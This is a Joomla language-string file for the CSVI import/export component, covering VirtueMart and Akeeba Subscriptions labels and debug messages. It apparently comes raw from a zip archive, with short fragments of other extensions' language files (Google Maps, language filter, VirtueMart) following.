COM_CSVI_UPDATE_MULTIPLE_PRICES="Product price updated" COM_CSVI_ADD_MULTIPLE_PRICES="Product price added" COM_CSVI_MULTIPLE_PRICES_NOT_ADDED="Error processing product price: %s" COM_CSVI_MULTIPLE_PRICES_QUERY="Product price query" COM_CSVI_UPDATE_ORDER_PAYMENT="Order payment updated" COM_CSVI_ADD_ORDER_PAYMENT="Order payment added" COM_CSVI_ORDER_PAYMENT_QUERY="Order payment query" COM_CSVI_CHECK_USER_INFO_ID="Check user info ID" COM_CSVI_NO_ADDRESS_TYPE_OR_ADDRESS_TYPE_NAME="A user ID and/or address type and/or address type name is missing" COM_CSVI_NO_USER_INFO_ID_FOUND="No user info ID could be found" COM_CSVI_CHECK_PRODUCT_ID="Check for product ID" COM_CSVI_PRODUCTFILE_DELETE_QUERY="Product file delete query" COM_CSVI_DEBUG_MEDIAFILE_NOT_EXIST_SKIPPING="Media file %s does not exist. Skipping as set in the media files options." COM_CSVI_DEBUG_FILE_URL_FROM="Create URL from file: %s" COM_CSVI_DEBUG_DOMAINNAME="Domain name used: %s" COM_CSVI_NO_UPDATE_PRODUCT_SKU="Product SKU: %s could not be updated" COM_CSVI_UPDATE_PRODUCTSTOCK="Product stock updated" COM_CSVI_PRODUCTSTOCK_QUERY="Product stock query" COM_CSVI_PRODUCTSTOCK_NOT_ADDED="Error processing product stock: %s" COM_CSVI_DEBUG_FIND_SHIPPING_CURRENCY_ID="Find shipping rate currency ID" COM_CSVI_UPDATE_SHIPPINGRATE="Shipping rate updated" COM_CSVI_ADD_SHIPPINGRATE="Shipping rate added" COM_CSVI_SHIPPINGRATE_NOT_ADDED="Error processing shipping rate: %s" COM_CSVI_SHIPPINGRATE_QUERY="Shipping rate query" COM_CSVI_UPDATE_VMF_FEATURES="VMF feature updated" COM_CSVI_ADD_VMF_FEATURES="VMF feature added" COM_CSVI_VMF_FEATURES_NOT_ADDED="Error processing VMF feature: %s" COM_CSVI_VMF_FEATURES_QUERY="COM_CSVI_VMF_FEATURES_QUERY" COM_CSVI_UPDATE_VMF_FEATURES_XREF="VMF feature xref updated" COM_CSVI_ADD_VMF_FEATURES_XREF="VMF feature xref added" COM_CSVI_VMF_FEATURES_XREF_NOT_ADDED="Error processing VMF feature xref: %s" COM_CSVI_VMF_FEATURES_XREF_QUERY="VMF feature query" COM_CSVI_UPDATE_VMF_VALUES="VMF value updated" COM_CSVI_ADD_VMF_VALUES="VMF value added" COM_CSVI_VMF_VALUES_NOT_ADDED="Error processing VMF value: %s" COM_CSVI_VMF_VALUES_QUERY="COM_CSVI_VMF_VALUES_QUERY" COM_CSVI_UPDATE_VMF_VALUES_PRODUCTS="VMF value product link updated" COM_CSVI_ADD_VMF_VALUES_PRODUCTS="VMF value product link added" COM_CSVI_VMF_VALUES_PRODUCTS_NOT_ADDED="Error processing VMF value product link: %s" COM_CSVI_VMF_VALUES_PRODUCTS_QUERY="VMF value product query" COM_CSVI_VMF_VALUES_NO_FEATURE_ID="No feature found with the name %s" COM_CSVI_XML_DESCRIPTION="COM_CSVI_XML_DESCRIPTION" COM_CSVI_AVAILABLEFIELDS="Available fields" COM_CSVI_COMPONENT_NOT_INSTALLED="Component not installed" COM_CSVI_MAINTENANCE_OPTIONS="Maintenance options" COM_CSVI_MAINTENANCE_DATABASE="Database" COM_CSVI_OPTIMIZETABLES_DESC="Optimizes tables to keep the tables clean. The following tables are optimized:
        Table name
        csvi_available_fieldscsvi_template_fields
        csvi_template_typescsvi_templates
        csvi_logscsvi_log_details
        vm_productvm_product_price
        vm_product_mf_xrefvm_product_attribute
        vm_categoryvm_category_xref
        vm_product_attribute_skuvm_product_category_xref
        vm_product_discountvm_product_type
        vm_product_type_parametervm_product_product_type_xref
        vm_product_relationsvm_manufacturer
        " COM_CSVI_UNPUBLISHPRODUCTBYCATEGORY_DESC="This option will unpublish all products found in categories that are unpublished." COM_CSVI_RESIZEPRODUCTNAME_LABEL="Resize product name field" COM_CSVI_RESIZEPRODUCTNAME_DESC="Default the product name field is 50 characters. This option allows to increase or reduce the size. On reducing the size data may be lost if the product name is longer than the new value. Maximum value is 255." COM_CSVI_REMOVECSVITABLES_DESC="Remove the CSVI backup tables. These are the tables that are created during installation of CSVI." COM_CSVI_BACKUPVM_DESC="An SQL file is created of all the tables and their data and placed in the folder administrator/backups" COM_CSVI_EMPTYDATABASE_DESC="The following tables will be emptied:
        Table name
        vm_productvm_product_price
        vm_product_mf_xrefvm_product_attribute
        vm_categoryvm_category_xref
        vm_product_attribute_skuvm_product_category_xref
        vm_product_discountvm_product_type
        vm_product_type_parametervm_product_product_type_xref
        vm_product_relationsvm_product_files
        vm_product_type_xvm_manufacturer (Except ID 1)
        " COM_CSVI_CURRENT_NAME_LENGTH="The longest product name in the database is %s characters." COM_CSVI_NAME_LENGTH="Give new length:" COM_CSVI_RESIZE_PRODUCTTITLE_LABEL="COM_CSVI_RESIZE_PRODUCTTITLE_LABEL" COM_CSVI_SET_PRODUCTNAME_LENGTH="Product name length set to: " COM_CSVI_ICECATINDEX_DESC="This option load the ICEcat indexes needed for ICEcat imports" COM_CSVI_UPDATEAVAILABLEFIELDS_DESC="Index all available fields" COM_CSVI_INSTALLDEFAULTTEMPLATES_DESC="Installs 15 example templates. There are 7 import examples and 8 export examples." COM_CSVI_SORTCATEGORIES_DESC="Sorts all categories alphabetically" COM_CSVI_REMOVEEMPTYCATEGORIES_LABEL="Remove empty categories" COM_CSVI_REMOVEEMPTYCATEGORIES_DESC="Removes all categories that have no products assigned to them. Parent categories are only deleted if all child categories are empty." COM_CSVI_CONFIRM_CATEGORY_DELETE="Are you sure you want to delete all empty categories?" COM_CSVI_EXCHANGERATES_DESC="This option loads the exchange rates from the European Central Bank. Exchange rates are used on product export to convert between different currencies." COM_CSVI_CLEANTEMP_DESC="Cleans the temporary folder from leftover import files and debug logs that are no longer in the system. The folder is located in /tmp." COM_CSVI_BACKUPTEMPLATES_DESC="Backup all your templates to CSV format" COM_CSVI_RESTORETEMPLATES_DESC="Restore templates into CSVI" COM_CSVI_CHOOSE_RESTORE_FILE_DESC="Select the file to restore" COM_CSVI_NO_PRODUCT_TYPE_NAMES_FOUND="No product type names have been found" COM_CSVI_ALL_TAX_COUNTRIES="All countries" COM_CSVI_IMPORT_OPTIONS="Options" COM_CSVI_EXPORT_LAYOUT="Layout" COM_CSVI_EXPORT_EMAIL="E-mail" COM_CSVI_IMPORT_LIMIT="Limit" COM_CSVI_IMPORT_GENERAL_OPTIONS="General options" COM_CSVI_IMPORT_IMAGE="Image" COM_CSVI_IMPORT_PRODUCT_PATH="Path" COM_CSVI_IMPORT_MEDIA_PATH="Paths" COM_CSVI_EXPORT_OPTIONS="Options" COM_CSVI_EXPORT_SHOPPER="Shopper" COM_CSVI_EXPORT_LIMIT="Limit" COM_CSVI_EXPORT_GENERAL_OPTIONS="General" COM_CSVI_EXPORT_ORDER_ITEM_OPTIONS="Order item" COM_CSVI_EXPORT_PRODUCT_TYPE_NAMES_OPTIONS="Product type names" COM_CSVI_EXPORT_USERINFO_OPTIONS="User info" COM_CSVI_EXPORT_TAX_OPTIONS="Tax rate" COM_CSVI_NO_FIELDS_SELECTED="No fields have been selected" COM_CSVI_EXPORT_TYPE="Choose which export you want to do" COM_CSVI_CUSTOM_TABLE_EXPORT="Choose which custom table you want to export" COM_CSVI_EXPORT_DESTINATION_OPTIONS="Destination options" COM_CSVI_EXPORT_TO_DOWNLOAD_DESC="Download the file to your local computer" COM_CSVI_EXPORT_TO_LOCAL_DESC="Saves the file on the server" COM_CSVI_EXPORT_TO_FTP_DESC="Saves the file on an FTP server" COM_CSVI_EXPORT_EMAIL_FILE_DESC="Set this to have the export file e-mailed to one or more recipients" COM_CSVI_EXPORT_FILE_OPTIONS="File Options" COM_CSVI_EXPORT_INCLUDE_COLUMN_HEADERS_LABEL="Include column headers" COM_CSVI_EXPORT_INCLUDE_COLUMN_HEADERS_DESC="Select this option to include column headers in the exported file.

        Only used with CSV export." COM_CSVI_EXPORT_VM_ID_LABEL="Item ID" COM_CSVI_EXPORT_VM_ID_DESC="Select which Item ID to use for the export URL's. If no Item ID can be found it will default to 1. This links to the frontpage." COM_CSVI_EXPORT_PRODUCTTYPENAMES_OPTIONS="Product type name options" COM_CSVI_EXPORT_PRODUCT_TYPE_NAMES_LABEL="Product type names" COM_CSVI_EXPORT_PRODUCT_TYPE_NAMES_DESC="Select 1 or more product type names to export." COM_CSVI_EXPORT_COUNTRY_LABEL="Country" COM_CSVI_EXPORT_COUNTRY_DESC="Select one or more countries to filter on" COM_CSVI_EXPORT_USER_INFO_VENDOR_LABEL="User vendor group" COM_CSVI_EXPORT_USER_INFO_VENDOR_DESC="Select the vendor group to filter users on." COM_CSVI_IMPORT_FROM_FTP_DESC="Load the file from an FTP location" COM_CSVI_EMPTY_IMAGE_LABEL="Empty image if not found" COM_CSVI_EMPTY_IMAGE_DESC="Set this to yes if you want to empty the image details if the image cannot be found, this means there is no image associated with the product" COM_CSVI_CONVERT_IMAGE_LABEL="Convert image" COM_CSVI_CONVERT_IMAGE_DESC="Select this if you want your image converted to another image type" COM_CSVI_IMPORT_TYPE="Choose which import you want to do" COM_CSVI_EXPORT_TEMPLATE_DETAILS="Template details" COM_CSVI_LAST_FIELD_COMBINE="The last field cannot be set to Yes for Combine." COM_CSVI_EXPORT_ADD_TEMPLATE_NAME_DESC="Enter template name" COM_CSVI_EXPORT_ADD_TEMPLATE_NAME_LABEL="Name of export template" COM_CSVI_CHECK_COUPON_CODE_EXISTS="Check if the coupon code exists" COM_CSVI_MF_UPDATE_NAME="Manufacturer update by name" COM_CSVI_MF_UPDATE_ID="Manufacturer update by ID" COM_CSVI_MANUFACTURER_UPDATE_NOT_MATCHING="Manufacturer update not matching name or key" COM_CSVI_DEBUG_MANUFACTURER_EXISTS="Manufacturer already exists" COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS="Manufacturer does not exist" COM_CSVI_DEBUG_CHECK_ATTRIBUTE_EXISTS="Check if product attribute exists" COM_CSVI_ADD_NEW_CATEGORY_REFERENCES="Add new category references" COM_CSVI_CHECK_IF_CATEGORY_REFERENCE_ALREADY_EXISTS="Check if category reference already exists" COM_CSVI_CATEGORY_REFERENCE_ALREADY_EXISTS="Category reference already exists" COM_CSVI_CATEGORY_REFERENCE_DOES_NOT_YET_EXIST="Category reference does not yet exist" COM_CSVI_USE_DISCOUNT_ID="Discount exists, return discount id: %s" COM_CSVI_CHECK_PRODUCT_FILE_EXISTS="Check if product file exists" COM_CSVI_DEBUG_CHECK_MF_PROD_EXISTS="Check if product manufacturer link exists" COM_CSVI_CROSS_REFERENCE_EXISTS="Cross reference already exists" COM_CSVI_PRODUCT_TYPE_XREF_CHECK="Check product type cross reference to product" COM_CSVI_CHECK_REVIEW_EXISTS="Check if there is an existing review" COM_CSVI_CHECK_PRODUCT_TYPE_NAME_EXISTS="Check if product type name exists" COM_CSVI_UPDATE_PRODUCT_TYPE_PARAMETER="Update product type parameter" COM_CSVI_INSERT_PRODUCT_TYPE_PARAMETER="Insert product type parameter" COM_CSVI_PRODUCT_TYPE_PARAMETER_STORE_FAILED="Failed to store product type parameter" COM_CSVI_PRODUCT_TYPE_PARAMETER_STORE_SUCCESS="Product type parameter stored" COM_CSVI_DROP_PRODUCT_TYPE_PARAMETER_INDEX="Drop product type parameter index" COM_CSVI_MODIFY_PRODUCT_TYPE_PARAMETER_COLUMN="Modify product type parameter column" COM_CSVI_ADD_PRODUCT_TYPE_PARAMETER_COLUMN="Add product type parameter column" COM_CSVI_CREATE_PRODUCT_TYPE_PARAMETER_INDEX="Add product type parameter index" COM_CSVI_DEBUG_CHECK_PRODUCT_TYPE_ID_EXISTS="Check if product type ID exists" COM_CSVI_DEBUG_UPDATING_NEW_PRODUCT_TYPE_DETAILS="Updating product type details" COM_CSVI_DEBUG_ADDING_NEW_PRODUCT_TYPE_DETAILS="Adding product type details" COM_CSVI_UPDATE_PRODUCT_TYPE_X="Update product type %s" COM_CSVI_PRODUCT_TYPE_DETAIL_SKU_ID="Product type details SKU/ID: %s" COM_CSVI_DEBUG_PRODUCT_TYPE_NAMES_STORE_FAILED="An error occured storing the product type names" COM_CSVI_PRODUCT_TYPE_NAMES_NOT_STORED="Product type names stored" COM_CSVI_DEBUG_FIND_SHIPPING_RATE_ID="Look up shipping rate ID" COM_CSVI_DEBUG_SHOPPER_VENDOR_EXISTS="Check if the shopper vendor xref is in the database" COM_CSVI_CHECKING_USER_EXISTS="Checking if user already exists" COM_CSVI_DELETE_OLD_CATEGORY_XREF="Delete old category references" COM_CSVI_NOT_DELETE_OLD_CATEGORY_XREF="Not deleting old category references as we are appending categories" COM_CSVI_DEBUG_PRODUCT_TYPE_ID_QUERY="Product ID query: " COM_CSVI_CANNOT_LOAD_LOGS="Cannot load logs" COM_CSVI_CHANGE_NAME_LENGTH_OK="Product name field length changed successfully to %s characters" COM_CSVI_CHANGE_NAME_LENGTH_NOK="There was an error changing the product name field length. Error: %s" COM_CSVI_VMF_FEATURESIMPORT="VMF features import" COM_CSVI_VMF_VALUESIMPORT="VMF values import" COM_CSVI_UPDATE_PRODUCTTYPE="Product type updated" COM_CSVI_ADD_PRODUCTTYPE="Product type added" COM_CSVI_PRODUCTTYPE_NOT_ADDED="Error processing product type: %s" COM_CSVI_PRODUCTTYPE_QUERY="Product type query" COM_CSVI_CREATED_PRODUCT_TYPE_TABLE="Created product type table" COM_CSVI_ERROR_CREATED_PRODUCT_TYPE_TABLE="Could not create product type table" COM_CSVI_CREATE_PRODUCT_TYPE_TABLE="COM_CSVI_CREATE_PRODUCT_TYPE_TABLE" COM_CSVI_NO_PRODUCT_TYPE_ID_FOUND="No product type ID found" COM_CSVI_DEBUG_PRODUCT_ID_NOT_FOUND="No product ID found" COM_CSVI_NO_PARAMETER_VALUES="You selected a multiple select field but no possible values have been found" COM_CSVI_NO_PRODUCT_ID="COM_CSVI_NO_PRODUCT_ID" COM_CSVI_NO_PARAMETER_NAME="No parameter name found" COM_CSVI_UPDATE_PRODUCTTYPEPARAMETER="Product type parameter updated" COM_CSVI_ADD_PRODUCTTYPEPARAMETER="Product type parameter added" COM_CSVI_PRODUCTTYPEPARAMETER_NOT_ADDED="Error processing product type parameter: %s" COM_CSVI_PRODUCTTYPEPARAMETER_QUERY="Product type parameter query" COM_CSVI_UPDATE_TAX_RATE="Tax rate updated" COM_CSVI_ADD_TAX_RATE="Tax rate added" COM_CSVI_TAX_RATE_NOT_ADDED="Error processing tax rate: %s" COM_CSVI_TAX_RATE_QUERY="Tax rate query" COM_CSVI_DEBUG_FIND_TAX_RATE_ID="Find tax rate ID" COM_CSVI_IMAGE_NOT_CONVERTED_EXT_SAME="Image not converted, extension is the same" COM_CSVI_IMAGE_NOT_CONVERTED_REMOTE_FILE="Image not converted, target file is a remote location" COM_CSVI_RENAME_THUMB_FILE="Rename thumbnail image file: %s --> %s" COM_CSVI_RENAME_THUMB_FILE_NOT_FOUND="Thumbnail image file to rename has not been found: %s" COM_CSVI_DEBUG_COLLECT_FILE_DETAILS="Collect file details. Path: %s" COM_CSVI_SETTINGS_SAVED_SUCCESSFULLY="Settings saved successfully" COM_CSVI_SETTINGS_NOT_SAVED_SUCCESSFULLY="Settings not saved" COM_CSVI_DATA_EXISTS="Data exists: %s" COM_CSVI_CATEGORYIMPORT="Category import" COM_CSVI_MANUFACTURERIMPORT="Manufacturer import" COM_CSVI_MULTIPLEPRICESIMPORT="Multiple prices import" COM_CSVI_ORDERIMPORT="Order import" COM_CSVI_ORDERITEMIMPORT="Order item import" COM_CSVI_PRODUCTFILESIMPORT="Product files import" COM_CSVI_PRODUCTIMPORT="Product import" COM_CSVI_PRODUCTTYPEIMPORT="Product type import" COM_CSVI_PRODUCTTYPENAMESIMPORT="Product type names import" COM_CSVI_PRODUCTTYPEPARAMETERSIMPORT="Product type parameters import" COM_CSVI_MANUFACTURERCATEGORYIMPORT="Manufacturer category import" COM_CSVI_TEMPLATEFIELDSIMPORT="Template fields import" COM_CSVI_TEMPLATEIMPORT="Template import" COM_CSVI_USERINFOIMPORT="User info import" COM_CSVI_COUPONIMPORT="Coupon import" COM_CSVI_SHIPPINGRATEIMPORT="Shipping rates import" COM_CSVI_PRODUCTSTOCKIMPORT="Product stock import" COM_CSVI_PRODUCTREVIEWSIMPORT="Product reviews import" COM_CSVI_SHOPPERFIELDIMPORT="Shopper field import" COM_CSVI_CUSTOMIMPORT="Custom import" COM_CSVI_TAXRATESIMPORT="Tax rates import" COM_CSVI_WAITINGLISTIMPORT="Waiting list import" COM_CSVI_TEMPLATEFIELDSEXPORT="Template fields export" COM_CSVI_TEMPLATEEXPORT="Template export" COM_CSVI_ORDEREXPORT="Order export" COM_CSVI_ORDERITEMEXPORT="Order item export" COM_CSVI_MULTIPLEPRICESEXPORT="Multiple prices export" COM_CSVI_MANUFACTUREREXPORT="Manufacturer export" COM_CSVI_PRODUCTFILESEXPORT="Product files export" COM_CSVI_PRODUCTEXPORT="Product export" COM_CSVI_PRODUCTTYPEEXPORT="Product type export" COM_CSVI_PRODUCTTYPENAMESEXPORT="Product type names export" COM_CSVI_PRODUCTTYPEPARAMETERSEXPORT="Product type parameters export" COM_CSVI_CATEGORYEXPORT="Category export" COM_CSVI_USERINFOEXPORT="User info export" COM_CSVI_COUPONEXPORT="Coupon export" COM_CSVI_SHIPPINGRATESEXPORT="Shipping rates export" COM_CSVI_PRODUCTREVIEWSEXPORT="Product reviews export" COM_CSVI_USERFIELDSEXPORT="User fields export" COM_CSVI_CUSTOMEXPORT="Custom export" COM_CSVI_TAXRATESEXPORT="Tax rates export" COM_CSVI_WAITINGLISTEXPORT="Waiting list export" COM_CSVI_VMF_FEATURESEXPORT="VMF features export" COM_CSVI_VMF_VALUESEXPORT="VMF values export" COM_CSVI_UPDATED="Updated" COM_CSVI_DELETED="Deleted" COM_CSVI_ADDED="Added" COM_CSVI_SKIPPED="Skipped" COM_CSVI_INCORRECT="Incorrect" COM_CSVI_EMPTY="Emptied" COM_CSVI_NOSUPPORT="Unsupported" COM_CSVI_NOFILES="Missing" COM_CSVI_INFORMATION="Information" COM_CSVI_FULL_IMAGE_NOT_CONVERTED="Full image could not be converted" COM_CSVI_THUMB_IMAGE_NOT_CONVERTED="Thumbnail image could not be converted" COM_CSVI_DEBUG_CONVERT_ORIGINAL_FILE="Convert original file %s" COM_CSVI_FULL_CONVERTED="Full image converted" COM_CSVI_THUMB_CONVERTED="Thumbnail image converted" COM_CSVI_LINENUMBER="Line %s: %s" COM_CSVI_CANNOT_FIND_ODS_FILE="Cannot find ODS file %s" COM_CSVI_XML_ERROR_READING_FILE="Error reading XML file" COM_CSVI_AVAILABLEFIELDS_EXTRA_NOT_FOUND="Extra available fields (%s) file cannot be found" COM_CSVI_MAINTENANCE_CATEGORY_DELETED="Deleted category: %s" COM_CSVI_NO_PRODUCT_TYPE_COLUMNS="No product type names to export found. Select 1 or more product type names to export." COM_CSVI_PRODUCT_DELETED="Product %s deleted" COM_CSVI_PRODUCT_NOT_DELETED="Product %s not deleted" COM_CSVI_CHECK_ORDER_EXISTS="Check if order exists" COM_CSVI_CSVIMPROVED="CSV Improved" COM_CSVI_BESLIST="Beslist" COM_CSVI_OODLE="Oodle" COM_CSVI_GOOGLE="Google" COM_CSVI_CUSTOM="Custom" COM_CSVI_EXPORT_MULTIPLE_PRICES="Multiple prices" COM_CSVI_REPLACEMENT_OPTIONS="Replacement options" COM_CSVI_DEBUG_MESSAGE="Debug message" COM_CSVI_COMPLETED_UPGRADE="Upgrade completed" COM_CSVI_COMPLETED_AVAILABLEFIELDS="Updating available fields completed" COM_CSVI_COMPLETED_SAMPLETEMPLATES="Installing example templates completed" COM_CSVI_LOG_TEMPLATE_NAME="Template name" COM_CSVI_VERSION="Version" COM_CSVI_TIME="Time" COM_CSVI_LINE_NR="Line" COM_CSVI_COMMENT="Comment" COM_CSVI_NAME_LENGTH_MAX="Maximum length has been reached." COM_CSVI_CATEGORYDETAILSEXPORT_DESC="Export category details" COM_CSVI_COUPONSEXPORT_DESC="Export coupons" COM_CSVI_CUSTOMEXPORT_DESC="Custom export allows for exporting data from non-tables" COM_CSVI_MANUFACTUREREXPORT_DESC="Export manufacturer details" COM_CSVI_MULTIPLEPRICESEXPORT_DESC="Export multiple prices for products" COM_CSVI_ORDEREXPORT_DESC="Export orders" COM_CSVI_ORDERITEMEXPORT_DESC="Export order items" COM_CSVI_PRODUCTEXPORT_DESC="Export products and their details" COM_CSVI_PRODUCTFILESEXPORT_DESC="Export product files" COM_CSVI_PRODUCTREVIEWSEXPORT_DESC="Export reviews" COM_CSVI_PRODUCTTYPEEXPORT_DESC="Export product types" COM_CSVI_PRODUCTTYPENAMESEXPORT_DESC="Export product type names" COM_CSVI_PRODUCTTYPEPARAMETERSEXPORT_DESC="Export product type parameters" COM_CSVI_SHIPPINGRATESEXPORT_DESC="Export shipping rates" COM_CSVI_TAXRATESEXPORT_DESC="Export tax rates" COM_CSVI_USERFIELDSEXPORT_DESC="Export user fields" COM_CSVI_USERINFOEXPORT_DESC="Export user details" COM_CSVI_WAITINGLISTEXPORT_DESC="Export customer and product details that are on the waitinglist" COM_CSVI_CATEGORYDETAILSIMPORT_DESC="Import category details" COM_CSVI_COUPONSIMPORT_DESC="Import coupons" COM_CSVI_CUSTOMIMPORT_DESC="Custom import allows for importing data into non-tables" COM_CSVI_MANUFACTURERCATEGORYIMPORT_DESC="Import manufacturer category etails" COM_CSVI_MANUFACTURERIMPORT_DESC="Import manufacturer details" COM_CSVI_MULTIPLEPRICESIMPORT_DESC="Import multiple prices for products" COM_CSVI_ORDERIMPORT_DESC="Import orders" COM_CSVI_ORDERITEMIMPORT_DESC="Import order items" COM_CSVI_PRODUCTFILESIMPORT_DESC="Import product files" COM_CSVI_PRODUCTIMPORT_DESC="Import products and their details" COM_CSVI_PRODUCTREVIEWSIMPORT_DESC="Import reviews" COM_CSVI_PRODUCTSTOCKIMPORT_DESC="Import product stock" COM_CSVI_PRODUCTTYPEIMPORT_DESC="Import product types" COM_CSVI_PRODUCTTYPENAMESIMPORT_DESC="Import product type names" COM_CSVI_PRODUCTTYPEPARAMETERSIMPORT_DESC="Import product type parameters" COM_CSVI_SHIPPINGRATESIMPORT_DESC="Import shipping rates" COM_CSVI_TAXRATESIMPORT_DESC="Import tax rates" COM_CSVI_USERFIELDSIMPORT_DESC="Import user fields" COM_CSVI_USERINFOIMPORT_DESC="Import user details" COM_CSVI_WAITINGLISTIMPORT_DESC="Import customer and product details to put on the waitinglist" COM_CSVI_VMF_FEATURESEXPORT_DESC="Exports the features from VMF" COM_CSVI_VMF_VALUESEXPORT_DESC="Exports the values from VMF" COM_CSVI_VMF_FEATURESIMPORT_DESC="Imports the features into VMF" COM_CSVI_VMF_VALUESIMPORT_DESC="Imports the values into VMF" COM_CSVI_FRONTEND_EXPORT="CSVI export" COM_CSVI_EXPORT_FRONTEND_DESC_MENU="Front-end export" COM_CSVI_IMPORT_FILE="File" COM_CSVI_IMPORT_CATEGORY_FILE="File" COM_CSVI_IMPORT_MANUFACTURER_FILE="File" COM_CSVI_IMPORT_FIELDS="Fields" COM_CSVI_IMPORT_PRODUCT="Options" COM_CSVI_IMPORT_CATEGORY="Options" COM_CSVI_EXPORT_FILE="File" COM_CSVI_EXPORT_FIELDS="Fields" COM_CSVI_IMPORT_CATEGORY_IMAGE="Image" COM_CSVI_IMPORT_CATEGORY_PATH="Path" COM_CSVI_RATINGIMPORT="Rating import" COM_CSVI_MEDIAIMPORT="Media import" COM_CSVI_IMPORT_MEDIA="Options" COM_CSVI_IMPORT_MEDIA_IMAGE="Image" COM_CSVI_IMPORT_ORDER_ITEM="Options" COM_CSVI_IMPORT_ORDER_ITEM_OPTIONS="Options" COM_CSVI_CUSTOMFIELDIMPORT="Custom field import" COM_CSVI_CUSTOMFIELDEXPORT="Custom field export" COM_CSVI_CALCIMPORT="Calculation rule import" COM_CSVI_IMPORT_CALC="Options" COM_CSVI_IMPORT_CALC_OPTIONS="Options" COM_CSVI_IMPORT_MANUFACTURER_CATEGORY="Manufacturer category" COM_CSVI_IMPORT_MANUFACTURERCATEGORY_OPTIONS="Options" COM_CSVI_IMPORT_MANUFACTURER="Options" COM_CSVI_IMPORT_MANUFACTURER_OPTIONS="Options" COM_CSVI_EXPORT_CATEGORY="Options" COM_CSVI_CALCEXPORT="Calculation rule export" COM_CSVI_MEDIAEXPORT="Media export" COM_CSVI_RATINGEXPORT="Rating export" COM_CSVI_SHOPPERFIELDEXPORT="Shopper field export" COM_CSVI_EXPORT_CALC="Options" COM_CSVI_EXPORT_MANUFACTURER="Options" COM_CSVI_EXPORT_ORDER="Options" COM_CSVI_EXPORT_ORDERITEM="Options" COM_CSVI_EXPORT_PRODUCT="Options" COM_CSVI_EXPORT_USERINFO="Options" COM_CSVI_EXPORT_SHIPPING="Shipping" ; models/com_akeebasubs/import/subscriptionimport.php COM_CSVI_SUBSCRIPTION_DELETED="Subscription %s deleted" COM_CSVI_SUBSCRIPTION_NOT_DELETED="Subscription %s not deleted" COM_CSVI_UPDATE_SUBSCRIPTION_SKU="Subscription updated" COM_CSVI_ADD_SUBSCRIPTION_SKU="Subscription added" COM_CSVI_SUBSCRIPTION_NOT_ADDED="Error processing subscription: %s" COM_CSVI_SUBSCRIPTION_QUERY="Subscription query" ; models/com_akeebasubs/import/affiliateimport.php COM_CSVI_AFFILIATE_DELETED="Affiliate %s deleted" COM_CSVI_AFFILIATE_NOT_DELETED="Affiliate %s not deleted" COM_CSVI_UPDATE_AFFILIATE_SKU="Affiliate updated" COM_CSVI_ADD_AFFILIATE_SKU="Affiliate added" COM_CSVI_AFFILIATE_NOT_ADDED="Error processing affiliate: %s" COM_CSVI_AFFILIATE_QUERY="Affiliate query" COM_CSVI_AFFILIATEPAY_DELETED="Affiliate payment %s deleted" COM_CSVI_AFFILIATEPAY_NOT_DELETED="Affiliate payment %s not deleted" COM_CSVI_UPDATE_AFFILIATEPAY_SKU="Affiliate payment updated" COM_CSVI_ADD_AFFILIATEPAY_SKU="Affiliate payment added" COM_CSVI_AFFILIATEPAY_NOT_ADDED="Error processing affiliate payment: %s" COM_CSVI_AFFILIATEPAY_QUERY="Affiliate payment query" ; components COM_CSVI="CSVI Free" COM_VIRTUEMART="VirtueMart" COM_AKEEBASUBS="Akeeba Subscriptions" COM_REDSHOP="redSHOP" ; models/forms/com_akeebasubs/export/subscription.xml COM_CSVI_SUBSCRIPTION_NEW="New" COM_CSVI_SUBSCRIPTION_PENDING="Pending" COM_CSVI_SUBSCRIPTION_COMPLETED="Completed" COM_CSVI_SUBSCRIPTION_CANCELED="Rejected or Canceled" ; views/process/com_akeebasubs/export/default_subscription.php COM_CSVI_EXPORT_SUBSCRIPTION="Options" COM_CSVI_EXPORT_LEVEL_ID="ID" COM_CSVI_EXPORT_LEVEL_TITLE="Title"PK@y>\x*9language/en-GB/en-GB.plg_system_plugin_googlemap2.sys.ininuW+A; $Id: en-GB.plg_system_plugin_googlemap2.ini 2011-01-20 00:05:36 ; Copyright (C) 2011 Tech Reumer. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 GOOGLE MAPS="Google Maps"PK@y>\ln6language/en-GB/en-GB.plg_system_languagefilter.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="System - Language Filter" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="This plugin filters the displayed content depending on language." PK@y>\+language/en-GB/en-GB.com_virtuemart.sys.ininuW+A; VirtueMart Project" ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved." ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php" ; Note : All ini files need to be saved as UTF-8 - No BOM" ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Welcome to VirtueMart!
        The complete Online Shopsystem for Joomla" COM_VIRTUEMART_INSTALLATION_FINISH="Basic Installation has been finished." COM_VIRTUEMART_INSTALLATION_STEP_ONE="The first step of the Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
